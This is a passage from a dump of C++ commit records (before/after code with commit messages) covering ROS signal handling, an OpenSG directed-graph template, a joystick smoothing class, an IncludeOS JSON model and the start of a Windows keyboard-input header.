0;\n}\n\nros_middleware_interface::GuardConditionHandle\nget_global_sigint_guard_condition()\n{\n return ::g_sigint_guard_cond_handle;\n}\n\ntemplate<class Rep, class Period>\nbool\nsleep_for(const std::chrono::duration<Rep, Period>& sleep_duration)\n{\n \/\/ TODO: determine if posix's nanosleep(2) is more efficient here\n std::unique_lock<std::mutex> lock(::g_interrupt_mutex);\n auto cvs = ::g_interrupt_condition_variable.wait_for(lock, sleep_duration);\n return cvs == std::cv_status::no_timeout;\n}\n\n} \/* namespace utilities *\/\n} \/* namespace rclcpp *\/\n\n#ifdef HAS_SIGACTION\n#undef HAS_SIGACTION\n#endif\n\n#endif \/* RCLCPP_RCLCPP_UTILITIES_HPP_ *\/\n<commit_msg>update sigaction detection to support os x<commit_after>\/* Copyright 2014 Open Source Robotics Foundation, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef RCLCPP_RCLCPP_UTILITIES_HPP_\n#define RCLCPP_RCLCPP_UTILITIES_HPP_\n\n\/\/ TODO: remove\n#include <iostream>\n\n#include <cerrno>\n#include <chrono>\n#include <condition_variable>\n#include <csignal>\n#include <cstring>\n#include <mutex>\n#include <thread>\n\n#include <ros_middleware_interface\/functions.h>\n#include <ros_middleware_interface\/handles.h>\n\n\/\/ Determine if sigaction is available\n#if __APPLE__ || _POSIX_C_SOURCE >= 1 || _XOPEN_SOURCE || _POSIX_SOURCE\n#define HAS_SIGACTION\n#endif\n\nnamespace\n{\n volatile sig_atomic_t g_signal_status = 0;\n ros_middleware_interface::GuardConditionHandle g_sigint_guard_cond_handle = \\\n ros_middleware_interface::create_guard_condition();\n std::condition_variable g_interrupt_condition_variable;\n std::mutex g_interrupt_mutex;\n\n#ifdef HAS_SIGACTION\n struct sigaction old_action;\n#else\n void (*old_signal_handler)(int) = 0;\n#endif\n\n void\n#ifdef HAS_SIGACTION\n signal_handler(int signal_value, siginfo_t *siginfo, void *context)\n#else\n signal_handler(int signal_value)\n#endif\n {\n \/\/ TODO: remove\n std::cout << \"signal_handler(\" << signal_value << \")\" << std::endl;\n#ifdef HAS_SIGACTION\n if (old_action.sa_flags & SA_SIGINFO)\n {\n if (old_action.sa_sigaction != NULL)\n {\n old_action.sa_sigaction(signal_value, siginfo, context);\n }\n }\n else\n {\n if (old_action.sa_handler != NULL && \/\/ Is set\n old_action.sa_handler != SIG_DFL && \/\/ Is not default\n old_action.sa_handler != SIG_IGN) \/\/ Is not ignored\n {\n old_action.sa_handler(signal_value);\n }\n }\n#else\n if (old_signal_handler)\n {\n old_signal_handler(signal_value);\n }\n#endif\n g_signal_status = signal_value;\n using ros_middleware_interface::trigger_guard_condition;\n trigger_guard_condition(g_sigint_guard_cond_handle);\n g_interrupt_condition_variable.notify_all();\n }\n}\n\nnamespace rclcpp\n{\n\n__thread size_t thread_id = 0;\n\nnamespace utilities\n{\n\nvoid\ninit(int argc, char *argv[])\n{\n ros_middleware_interface::init();\n#ifdef HAS_SIGACTION\n struct sigaction action;\n memset(&action, 0, sizeof(action));\n sigemptyset(&action.sa_mask);\n action.sa_sigaction = ::signal_handler;\n action.sa_flags = SA_SIGINFO;\n ssize_t ret = sigaction(SIGINT, &action, &old_action);\n if (ret == -1)\n#else\n ::old_signal_handler = std::signal(SIGINT, ::signal_handler);\n if (::old_signal_handler == SIG_ERR)\n#endif\n {\n throw std::runtime_error(\n std::string(\"Failed to set SIGINT signal handler: (\" +\n std::to_string(errno) + \")\") +\n std::strerror(errno));\n }\n}\n\nbool\nok()\n{\n return ::g_signal_status == 0;\n}\n\nros_middleware_interface::GuardConditionHandle\nget_global_sigint_guard_condition()\n{\n return ::g_sigint_guard_cond_handle;\n}\n\ntemplate<class Rep, class Period>\nbool\nsleep_for(const std::chrono::duration<Rep, Period>& sleep_duration)\n{\n \/\/ TODO: determine if posix's nanosleep(2) is more efficient here\n std::unique_lock<std::mutex> lock(::g_interrupt_mutex);\n auto cvs = ::g_interrupt_condition_variable.wait_for(lock, sleep_duration);\n return cvs == std::cv_status::no_timeout;\n}\n\n} \/* namespace utilities *\/\n} \/* namespace rclcpp *\/\n\n#ifdef HAS_SIGACTION\n#undef HAS_SIGACTION\n#endif\n\n#endif \/* RCLCPP_RCLCPP_UTILITIES_HPP_ *\/\n<|endoftext|>"} {"text":"<commit_before>\/*---------------------------------------------------------------------------*\\\n * OpenSG NURBS Library *\n * *\n * *\n * Copyright (C) 2001-2006 by the University of Bonn, Computer Graphics Group*\n * *\n * http:\/\/cg.cs.uni-bonn.de\/ *\n * *\n * contact: edhellon@cs.uni-bonn.de, guthe@cs.uni-bonn.de, rk@cs.uni-bonn.de *\n * *\n\\*---------------------------------------------------------------------------*\/\n\/*---------------------------------------------------------------------------*\\\n * License *\n * *\n * This library is free software; you can redistribute it and\/or modify it *\n * under the terms of the GNU Library General Public License as published *\n * by the Free Software Foundation, version 2. *\n * *\n * This library is distributed in the hope that it will be useful, but *\n * WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU *\n * Library General Public License for more details. *\n * *\n * You should have received a copy of the GNU Library General Public *\n * License along with this library; if not, write to the Free Software *\n * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. *\n * *\n\\*---------------------------------------------------------------------------*\/\n\/*---------------------------------------------------------------------------*\\\n * Changes *\n * *\n * *\n * *\n * *\n * *\n * *\n\\*---------------------------------------------------------------------------*\/\n\nOSG_BEGIN_NAMESPACE\n\n\/\/ default constructor\ntemplate <typename T0, typename T1>\nDirectedGraph<T0, T1>::DirectedGraph()\n{\n invalid = true;\n}\n\n\/\/ add a new node\n\/\/ returns node index \ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::AddNode( T0 &n )\n{\n DirectedNode<T0> nn;\n nn.nodeinfo = n;\n nodes.push_back( nn );\n return Int32(nodes.size()) - 1;\n} \n\n\/\/ add a new (possibly directed) edge \n\/\/ returns edge index or -1\ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::AddEdge( T1 &t, int from, int to, bool direction)\n{\n if ( from < 0 || from >= int(nodes.size()) ||\n to < 0 || to >= int(nodes.size()) ) return -1;\n\n DirectedEdge<T1> e;\n int eidx;\n e.edgeinfo = t;\n e.from = from;\n e.to = to;\n e.direction = direction;\n e.valid = true; \/\/DEBUG\n edges.push_back( e );\n eidx = Int32(edges.size()) - 1;\n\n nodes[ from ].edges.push_back( eidx );\n nodes[ to ].edges.push_back( eidx ); \n return eidx;\n}\n\n\/\/ delete edge specified by index\ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::DeleteEdge( int edgeidx )\n{\n if ( edgeidx < 0 || edgeidx >= int(edges.size()) )\n return -1;\n\n \/\/ note: we don't need to actually erase from here\n\/\/ edges.erase( edgeidx );\n\n edges[ edgeidx ].valid = false;\n\n DirectedNode<T0> &fromnode = nodes[ edges [ edgeidx ].from ];\n DCTPivector::iterator nee = fromnode.edges.end();\n DCTPivector::iterator i;\n for( i = fromnode.edges.begin(); i != nee; ++i )\n if ( *i == edgeidx ) {\n fromnode.edges.erase( i );\n break;\n }\n\n DirectedNode<T0> &tonode = nodes[ edges [ edgeidx ].to ];\n nee = tonode.edges.end();\n for( i = tonode.edges.begin(); i != nee; ++i )\n if ( *i == edgeidx ) {\n tonode.edges.erase( i );\n break;\n }\n\n return 0;\n}\n\n\n\n\ntemplate <typename T0, typename T1>\nDCTPivector & DirectedGraph<T0, T1>::getEdges( int n ) \/\/ get all edges (indexes) from a node\n{\n return &nodes.edges;\n}\n\n\/\/ get one node\ntemplate <typename T0, typename T1>\nDirectedNode<T0>& DirectedGraph<T0, T1>::getNode( int nodeindex, int &error )\n{\n error = 0;\n if ( nodeindex < 0 || nodeindex >= nodes.size() ) {\n error = -1;\n return NULL;\n }\n return &nodes[ nodeindex ] ;\n}\n\n\/\/ get one edge\ntemplate <typename T0, typename T1>\nDirectedEdge<T1>& DirectedGraph<T0, T1>::getEdge( int edgeindex, int &error )\n{\n error = 0;\n if ( edgeindex < 0 || edgeindex >= edges.size() ) {\n error = -1;\n return NULL;\n }\n return &edges[ edgeindex ] ;\n}\n\n\/\/ get one edge's direction\ntemplate <typename T0, typename T1>\nbool DirectedGraph<T0, T1>::getEdgeDirection( int edgeindex, int &error )\n{\n error = 0;\n if ( edgeindex < 0 || edgeindex >= edges.size() ) {\n error = -1;\n return NULL;\n }\n\n return edges[ edgeindex ].orientation;\n}\n\n\/\/ set the direction of an edge\ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::setEdgeDirection( int edgeindex, int to )\n{\n if ( edgeindex < 0 || edgeindex >= int(edges.size()) ) return -1;\n\n if ( edges[ edgeindex ].from != to && edges[ edgeindex ].to != to )\n return -1;\n if ( edges[ edgeindex ].to != to ) {\n int tmp = edges[ edgeindex ].to;\n edges[ edgeindex ].to = to;\n edges[ edgeindex ].from = tmp;\n }\n edges[ edgeindex ].direction = true;\n return 0;\n}\n\n\/\/ change (invert) the direction of an edge\ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::changeEdgeDirection( int edgeindex )\n{\n if ( edgeindex < 0 || edgeindex >= edges.size() )\n return -1;\n if ( !edges[ edgeindex ].orientation )\n return -1;\n\n int tmp = edges[ edgeindex ].to;\n edges[ edgeindex ].to = edges[ edgeindex ].from;\n edges[ edgeindex ].from = tmp;\n\n return 0;\n}\n\ntemplate <typename T0, typename T1>\nbool DirectedGraph<T0, T1>::isInvalid( void )\n{\n return invalid;\n}\n\ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::FindNode( T0 &nodeinfo )\n{\n\tfor( unsigned int i = 0; i < nodes.size( ); ++i )\n\t{\n\t\tif( nodes[ i ].nodeinfo == nodeinfo ) return i;\n\t}\n\n\treturn -1;\n}\n\ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::FindEdge( int from, int to )\n{\n\tfor( unsigned int i = 0; i < edges.size( ); ++i )\n\t{\n\/\/\t\tstd::cerr << \"checking edge from \" << edges[ i ].from << \" to \" << edges[ i ].to << std::endl;\n\t\tif( ( edges[ i ].from == from ) &&\n\t\t\t( edges[ i ].to == to ) ) return i;\n\t\tif( ( edges[ i ].from == to ) &&\n\t\t\t( edges[ i ].to == from ) ) return i;\n\t}\n\n\treturn -1;\n}\n\nOSG_END_NAMESPACE\n<commit_msg>fix return type<commit_after>\/*---------------------------------------------------------------------------*\\\n * OpenSG NURBS Library *\n * *\n * *\n * Copyright (C) 2001-2006 by the University of Bonn, Computer Graphics Group*\n * *\n * http:\/\/cg.cs.uni-bonn.de\/ *\n * *\n * contact: edhellon@cs.uni-bonn.de, guthe@cs.uni-bonn.de, rk@cs.uni-bonn.de *\n * *\n\\*---------------------------------------------------------------------------*\/\n\/*---------------------------------------------------------------------------*\\\n * License *\n * *\n * This library is free software; you can redistribute it and\/or modify it *\n * under the terms of the GNU Library General Public License as published *\n * by the Free Software Foundation, version 2. *\n * *\n * This library is distributed in the hope that it will be useful, but *\n * WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU *\n * Library General Public License for more details. *\n * *\n * You should have received a copy of the GNU Library General Public *\n * License along with this library; if not, write to the Free Software *\n * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. *\n * *\n\\*---------------------------------------------------------------------------*\/\n\/*---------------------------------------------------------------------------*\\\n * Changes *\n * *\n * *\n * *\n * *\n * *\n * *\n\\*---------------------------------------------------------------------------*\/\n\nOSG_BEGIN_NAMESPACE\n\n\/\/ default constructor\ntemplate <typename T0, typename T1>\nDirectedGraph<T0, T1>::DirectedGraph()\n{\n invalid = true;\n}\n\n\/\/ add a new node\n\/\/ returns node index \ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::AddNode( T0 &n )\n{\n DirectedNode<T0> nn;\n nn.nodeinfo = n;\n nodes.push_back( nn );\n return Int32(nodes.size()) - 1;\n} \n\n\/\/ add a new (possibly directed) edge \n\/\/ returns edge index or -1\ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::AddEdge( T1 &t, int from, int to, bool direction)\n{\n if ( from < 0 || from >= int(nodes.size()) ||\n to < 0 || to >= int(nodes.size()) ) return -1;\n\n DirectedEdge<T1> e;\n int eidx;\n e.edgeinfo = t;\n e.from = from;\n e.to = to;\n e.direction = direction;\n e.valid = true; \/\/DEBUG\n edges.push_back( e );\n eidx = Int32(edges.size()) - 1;\n\n nodes[ from ].edges.push_back( eidx );\n nodes[ to ].edges.push_back( eidx ); \n return eidx;\n}\n\n\/\/ delete edge specified by index\ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::DeleteEdge( int edgeidx )\n{\n if ( edgeidx < 0 || edgeidx >= int(edges.size()) )\n return -1;\n\n \/\/ note: we don't need to actually erase from here\n\/\/ edges.erase( edgeidx );\n\n edges[ edgeidx ].valid = false;\n\n DirectedNode<T0> &fromnode = nodes[ edges [ edgeidx ].from ];\n DCTPivector::iterator nee = fromnode.edges.end();\n DCTPivector::iterator i;\n for( i = fromnode.edges.begin(); i != nee; ++i )\n if ( *i == edgeidx ) {\n fromnode.edges.erase( i );\n break;\n }\n\n DirectedNode<T0> &tonode = nodes[ edges [ edgeidx ].to ];\n nee = tonode.edges.end();\n for( i = tonode.edges.begin(); i != nee; ++i )\n if ( *i == edgeidx ) {\n tonode.edges.erase( i );\n break;\n }\n\n return 0;\n}\n\n\n\n\ntemplate <typename T0, typename T1>\nDCTPivector & DirectedGraph<T0, T1>::getEdges( int n ) \/\/ get all edges (indexes) from a node\n{\n return &nodes.edges;\n}\n\n\/\/ get one node\ntemplate <typename T0, typename T1>\nDirectedNode<T0>& DirectedGraph<T0, T1>::getNode( int nodeindex, int &error )\n{\n error = 0;\n if ( nodeindex < 0 || nodeindex >= nodes.size() ) {\n error = -1;\n return NULL;\n }\n return &nodes[ nodeindex ] ;\n}\n\n\/\/ get one edge\ntemplate <typename T0, typename T1>\nDirectedEdge<T1>& DirectedGraph<T0, T1>::getEdge( int edgeindex, int &error )\n{\n error = 0;\n if ( edgeindex < 0 || edgeindex >= edges.size() ) {\n error = -1;\n return NULL;\n }\n return &edges[ edgeindex ] ;\n}\n\n\/\/ get one edge's direction\ntemplate <typename T0, typename T1>\nbool DirectedGraph<T0, T1>::getEdgeDirection( int edgeindex, int &error )\n{\n error = 0;\n if ( edgeindex < 0 || edgeindex >= edges.size() ) {\n error = -1;\n return false;\n }\n\n return edges[ edgeindex ].orientation;\n}\n\n\/\/ set the direction of an edge\ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::setEdgeDirection( int edgeindex, int to )\n{\n if ( edgeindex < 0 || edgeindex >= int(edges.size()) ) return -1;\n\n if ( edges[ edgeindex ].from != to && edges[ edgeindex ].to != to )\n return -1;\n if ( edges[ edgeindex ].to != to ) {\n int tmp = edges[ edgeindex ].to;\n edges[ edgeindex ].to = to;\n edges[ edgeindex ].from = tmp;\n }\n edges[ edgeindex ].direction = true;\n return 0;\n}\n\n\/\/ change (invert) the direction of an edge\ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::changeEdgeDirection( int edgeindex )\n{\n if ( edgeindex < 0 || edgeindex >= edges.size() )\n return -1;\n if ( !edges[ edgeindex ].orientation )\n return -1;\n\n int tmp = edges[ edgeindex ].to;\n edges[ edgeindex ].to = edges[ edgeindex ].from;\n edges[ edgeindex ].from = tmp;\n\n return 0;\n}\n\ntemplate <typename T0, typename T1>\nbool DirectedGraph<T0, T1>::isInvalid( void )\n{\n return invalid;\n}\n\ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::FindNode( T0 &nodeinfo )\n{\n\tfor( unsigned int i = 0; i < nodes.size( ); ++i )\n\t{\n\t\tif( nodes[ i ].nodeinfo == nodeinfo ) return i;\n\t}\n\n\treturn -1;\n}\n\ntemplate <typename T0, typename T1>\nint DirectedGraph<T0, T1>::FindEdge( int from, int to )\n{\n\tfor( unsigned int i = 0; i < edges.size( ); ++i )\n\t{\n\/\/\t\tstd::cerr << \"checking edge from \" << edges[ i ].from << \" to \" << edges[ i ].to << std::endl;\n\t\tif( ( edges[ i ].from == from ) &&\n\t\t\t( edges[ i ].to == to ) ) return i;\n\t\tif( ( edges[ i ].from == to ) &&\n\t\t\t( edges[ i ].to == from ) ) return i;\n\t}\n\n\treturn -1;\n}\n\nOSG_END_NAMESPACE\n<|endoftext|>"} {"text":"<commit_before>#ifdef JOYSMOOTH_H_INC\n#define JOYSMOOTH_H_INC\n\n#include <bitset>\n#include <GenericHID.h>\n#include \"612.h\"\n#include \"update.h\"\n#include \"joysmooth.h\"\n\n\/\/provide definition of constants:\nconst int joysmooth::HOLDBACK;\nconst int joysmooth::NUMBUTTONS;\nconst int joysmooth::NUMAXES;\n\nvoid register_callback(void*);\nvoid update_callback_joysmooth(void*);\n\njoysmooth::joysmooth(GenericHID* ghid) : joy(ghid) {\n register_callback((void*)this);\n}\n\njoysmooth::joysmooth(GenericHID& ghid) : joy(&ghid) {\n register_callback((void*)this);\n}\n\njoysmooth::~joysmooth() {\n registry().unregister_func(update_callback, (void*)this);\n}\n\njoysmooth::void update() {\n for (int d = 0; d < NUMBUTTONS; d++) {\n for (int i = 1; i < HOLDBACK; i++) {\n buttons[d][i - 1] = buttons[d][i];\n }\n buttons[d][HOLDBACK - 1] = joy->GetRawButton(d);\n }\n for(int d = 0; d < NUMAXES; d++) {\n axes[d] = joy->GetRawAxis(d);\n }\n}\n\nfloat joysmooth::GetX(GenericHID::JoystickHand h) {\n return axes[X_AXIS];\n}\n\nfloat joysmooth::GetY(GenericHID::JoystickHand h) {\n return axes[Y_AXIS];\n}\n\nfloat joysmooth::GetZ(){\n return axes[Z_AXIS];\n}\n\nfloat joysmooth::GetTwist(){\n return axis[TWIST_AXIS];\n}\n\nfloat joysmooth::GetThrottle(){\n return axes[THROTTLE_AXIS];\n}\n\nfloat joysmooth::GetRawAxis(UINT32 axisId){\n return axes[axisId];\n}\n\nbool joysmooth::GetTop(){\n return GetRawButton(2);\n}\n\nbool joysmooth::GetBumper(){\n return joy->GetBumper();\n}\n\nbool joysmooth::GetRawButton(UINT32 btnId){\n for(int i = 0; i < HOLDBACK; i++) {\n if(!buttons[btnId][i]) {\n return false;\n }\n }\n return true;\n}\n\nvoid register_callback(void* thisPtr) {\n registry().register_func(update_callback_joysmooth, thisPtr);\n}\n\nvoid update_callback_joysmooth(void* thisPtr) {\n ((joysmooth*)thisPtr)->update();\n}\n\n#endif\n<commit_msg>Fixed bad syntax. May resolve some undefined symbol errors (hopefully)<commit_after>#ifdef JOYSMOOTH_H_INC\n#define JOYSMOOTH_H_INC\n\n#include <bitset>\n#include <GenericHID.h>\n#include \"612.h\"\n#include \"update.h\"\n#include \"joysmooth.h\"\n\n\/\/provide definition of constants:\nconst int joysmooth::HOLDBACK;\nconst int joysmooth::NUMBUTTONS;\nconst int joysmooth::NUMAXES;\n\nvoid register_callback(void*);\nvoid update_callback_joysmooth(void*);\n\njoysmooth::joysmooth(GenericHID* ghid) : joy(ghid) {\n register_callback((void*)this);\n}\n\njoysmooth::joysmooth(GenericHID& ghid) : joy(&ghid) {\n register_callback((void*)this);\n}\n\njoysmooth::~joysmooth() {\n registry().unregister_func(update_callback, (void*)this);\n}\n\nvoid joysmooth::update() {\n for (int d = 0; d < NUMBUTTONS; d++) {\n for (int i = 1; i < HOLDBACK; i++) {\n buttons[d][i - 1] = buttons[d][i];\n }\n buttons[d][HOLDBACK - 1] = joy->GetRawButton(d);\n }\n for(int d = 0; d < NUMAXES; d++) {\n axes[d] = joy->GetRawAxis(d);\n }\n}\n\nfloat joysmooth::GetX(GenericHID::JoystickHand h) {\n return axes[X_AXIS];\n}\n\nfloat joysmooth::GetY(GenericHID::JoystickHand h) {\n return axes[Y_AXIS];\n}\n\nfloat joysmooth::GetZ(){\n return axes[Z_AXIS];\n}\n\nfloat joysmooth::GetTwist(){\n return axis[TWIST_AXIS];\n}\n\nfloat joysmooth::GetThrottle(){\n return axes[THROTTLE_AXIS];\n}\n\nfloat joysmooth::GetRawAxis(UINT32 axisId){\n return axes[axisId];\n}\n\nbool joysmooth::GetTop(){\n return GetRawButton(2);\n}\n\nbool joysmooth::GetBumper(){\n return joy->GetBumper();\n}\n\nbool joysmooth::GetRawButton(UINT32 btnId){\n for(int i = 0; i < HOLDBACK; i++) {\n if(!buttons[btnId][i]) {\n return false;\n }\n }\n return true;\n}\n\nvoid register_callback(void* thisPtr) {\n registry().register_func(update_callback_joysmooth, thisPtr);\n}\n\nvoid update_callback_joysmooth(void* thisPtr) {\n ((joysmooth*)thisPtr)->update();\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is a part of the IncludeOS unikernel - www.includeos.org\n\/\/\n\/\/ Copyright 2015-2016 Oslo and Akershus University College of Applied Sciences\n\/\/ and Alfred Bratterud\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n#ifndef MODEL_SQUIRREL_HPP\n#define MODEL_SQUIRREL_HPP\n\n#include <locale>\n\n#include \"json.hpp\"\n\nnamespace acorn {\n\n\/**\n *\n *\/\nstruct Squirrel : json::Serializable {\n size_t key;\n\n Squirrel() : key(0) {}\n\n \/**\n *\n *\/\n Squirrel(std::string name, size_t age, std::string occupation)\n : key {0}\n , name_ {name}\n , age_ {age}\n , occupation_ {occupation}\n {}\n\n \/**\n *\n *\/\n std::string json() const;\n\n \/**\n *\n *\/\n virtual void serialize(rapidjson::Writer<rapidjson::StringBuffer>&) const override;\n\n \/**\n *\n *\/\n virtual bool deserialize(const rapidjson::Document&) override;\n\n \/**\n *\n *\/\n bool is_equal(const Squirrel&) const;\n\n \/**\n *\n *\/\n static bool is_equal(const Squirrel&, const Squirrel&);\n\nprivate:\n const std::string name_;\n const size_t age_;\n const std::string occupation_;\n}; \/\/< struct Squirrel\n\n\/**--v----------- Implementation Details -----------v--**\/\n\ninline std::ostream& operator << (std::ostream& output_device, const Squirrel& s) {\n return output_device.json();\n}\n\nvoid Squirrel::serialize(rapidjson::Writer<rapidjson::StringBuffer>& writer) const {\n writer.StartObject();\n\n writer.Key(\"key\");\n writer.Uint(key);\n\n writer.Key(\"name\");\n writer.String(name_);\n\n writer.Key(\"age\");\n writer.Uint(age_);\n\n writer.Key(\"occupation\");\n writer.String(occupation_);\n\n writer.EndObject();\n}\n\nbool Squirrel::deserialize(const rapidjson::Document& doc) {\n name_ = doc[\"name\"].GetString();\n age_ = doc[\"age\"].GetUint();\n occupation_ = doc[\"occupation\"].GetString();\n return true;\n}\n\nstd::string Squirrel::json() const {\n using namespace rapidjson;\n StringBuffer sb;\n Writer<StringBuffer> writer(sb);\n serialize(writer);\n return sb.GetString();\n}\n\nbool Squirrel::is_equal(const Squirrel& s) const {\n if(name_.size() != s.name_.size())\n return false;\n for(size_t i = 0; i < name_.size(); i++) {\n if(std::tolower(name_[i]) != std::tolower(s.name_[i]))\n return false;\n }\n return true;\n}\n\nbool Squirrel::is_equal(const Squirrel& s1, const Squirrel& s2) {\n return s1.is_equal(s2);\n}\n\n\/**--^----------- Implementation Details -----------^--**\/\n\n} \/\/< namespace acorn\n\n#endif \/\/< MODEL_SQUIRREL_HPP\n<commit_msg>Refactored Squirrel::is_equal<commit_after>\/\/ This file is a part of the IncludeOS unikernel - www.includeos.org\n\/\/\n\/\/ Copyright 2015-2016 Oslo and Akershus University College of Applied Sciences\n\/\/ and Alfred Bratterud\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n#ifndef MODEL_SQUIRREL_HPP\n#define MODEL_SQUIRREL_HPP\n\n#include <locale>\n#include <algorithm>\n\n#include \"json.hpp\"\n\nnamespace acorn {\n\n\/**\n *\n *\/\nstruct Squirrel : json::Serializable {\n size_t key;\n\n Squirrel() : key(0) {}\n\n \/**\n *\n *\/\n Squirrel(std::string name, size_t age, std::string occupation)\n : key {0}\n , name_ {name}\n , age_ {age}\n , occupation_ {occupation}\n {}\n\n \/**\n *\n *\/\n std::string json() const;\n\n \/**\n *\n *\/\n virtual void serialize(rapidjson::Writer<rapidjson::StringBuffer>&) const override;\n\n \/**\n *\n *\/\n virtual bool deserialize(const rapidjson::Document&) override;\n\n \/**\n *\n *\/\n bool is_equal(const Squirrel&) const;\n\n \/**\n *\n *\/\n static bool is_equal(const Squirrel&, const Squirrel&);\n\nprivate:\n const std::string name_;\n const size_t age_;\n const std::string occupation_;\n}; \/\/< struct Squirrel\n\n\/**--v----------- Implementation Details -----------v--**\/\n\ninline std::ostream& operator << (std::ostream& output_device, const Squirrel& s) {\n return output_device.json();\n}\n\nvoid Squirrel::serialize(rapidjson::Writer<rapidjson::StringBuffer>& writer) const {\n writer.StartObject();\n\n writer.Key(\"key\");\n writer.Uint(key);\n\n writer.Key(\"name\");\n writer.String(name_);\n\n writer.Key(\"age\");\n writer.Uint(age_);\n\n writer.Key(\"occupation\");\n writer.String(occupation_);\n\n writer.EndObject();\n}\n\nbool Squirrel::deserialize(const rapidjson::Document& doc) {\n name_ = doc[\"name\"].GetString();\n age_ = doc[\"age\"].GetUint();\n occupation_ = doc[\"occupation\"].GetString();\n return true;\n}\n\nstd::string Squirrel::json() const {\n using namespace rapidjson;\n StringBuffer sb;\n Writer<StringBuffer> writer(sb);\n serialize(writer);\n return sb.GetString();\n}\n\nbool Squirrel::is_equal(const Squirrel& s) const {\n if(name_.size() not_eq s.name_.size()) {\n return false;\n }\n\n return std::equal(name_.begin(), name_.end(), s.name_.begin(), s.name_.end(),\n [](const auto a, const auto b) { return ::tolower(a) == ::tolower(b);\n });\n}\n\nbool Squirrel::is_equal(const Squirrel& s1, const Squirrel& s2) {\n return s1.is_equal(s2);\n}\n\n\/**--^----------- Implementation Details -----------^--**\/\n\n} \/\/< namespace acorn\n\n#endif \/\/< MODEL_SQUIRREL_HPP\n<|endoftext|>"} {"text":"<commit_before>\/**\n * KeybdInput 1.0.3\n *\n * @author Roger Lima (rogerlima@outlook.com)\n * @date 31\/aug\/2014\n * @update 11\/feb\/2016\n * @desc Reads the keyboard input them according to the format specified (only works on Windows)\n * @example\n\tint day, month, year;\n\tKeybdInput< int > userin;\n\n\tuserin.solicit(\n\t\t\"Type a date (btw 01\/01\/1900 and 31\/12\/2009): \",\n\t\tstd::regex( \"([0-2]?[0-9]|3[0-1])\/(0?[1-9]|1[012])\/(19[0-9]{2}|200[0-9])\" ),\n\t\t{ &day, &month, &year },\n\t\tfalse,\n\t\tfalse,\n\t\tfalse,\n\t\t\"\/\"\n\t);\n*\/\n\n#pragma once\n#include <conio.h>\n#include <iostream>\n#include <regex>\n#include <sstream>\n#include <vector>\n#include <Windows.h>\n\ntemplate< typename T >\nclass KeybdInput {\nprivate:\n\t\/\/ Stores the values to be used in KeybdInput::reset()\n\tbool _instverify, _reset, _ispw;\n\tsize_t _inmaxsize;\n\tstd::regex _restriction;\n\tstd::string _rmsg, _sep;\n\tstd::vector< T * > _references = {};\n\n\t\/\/ Stores the user input\n\tstd::string input;\n\n\t\/\/ Receives the current X and Y cursor position from get_cursor_position()\n\tstd::vector< short > cursor_position = { 0, 0 };\n\n\t\/\/ Erase the input of user\n\t\/\/ @param [{size_t=input.size()}] Erase range\n\tvoid erase_input( size_t = 0 );\n\n\t\/\/ Get the console cursor position and pass to the cursor_position\n\tvoid get_cursor_position();\n\n\t\/\/ Set the console cursor position\n\t\/\/ @param {short} X position of cursor\n\t\/\/ @param [{short=cursor_position[ 1 ]}] Y position of cursor\n\tvoid set_cursor_position( short, short = 0 );\n\n\t\/\/ Split a string\n\t\/\/ @param {std::string} Target string\n\t\/\/ @param [{std::string=\"\"}] Separator\n\tstd::vector< std::string > splitstr( std::string str, std::string separator = \"\" );\n\n\t\/\/ Set the reference with input value\n\t\/\/ @param {const std::string&} Input value\n\t\/\/ @param {T*} Target place\n\tvoid set_reference( const std::string&, T * );\n\n\t\/\/ Clear all values of references\n\t\/\/ @param {T*} Target place\n\tvoid clear_references( std::vector< T * > );\npublic:\n\t\/\/ Clipboard (arrow up or down to show the last inputs)\n\tstd::vector< std::string > clipboard;\n\n\t\/\/ Requires the user input again\n\t\/\/ @param [{std::string=_rmsg}] Request message\n\tvoid reset( std::string = \"\" );\n\n\t\/\/ Requires the keyboard input\n\t\/\/ @param 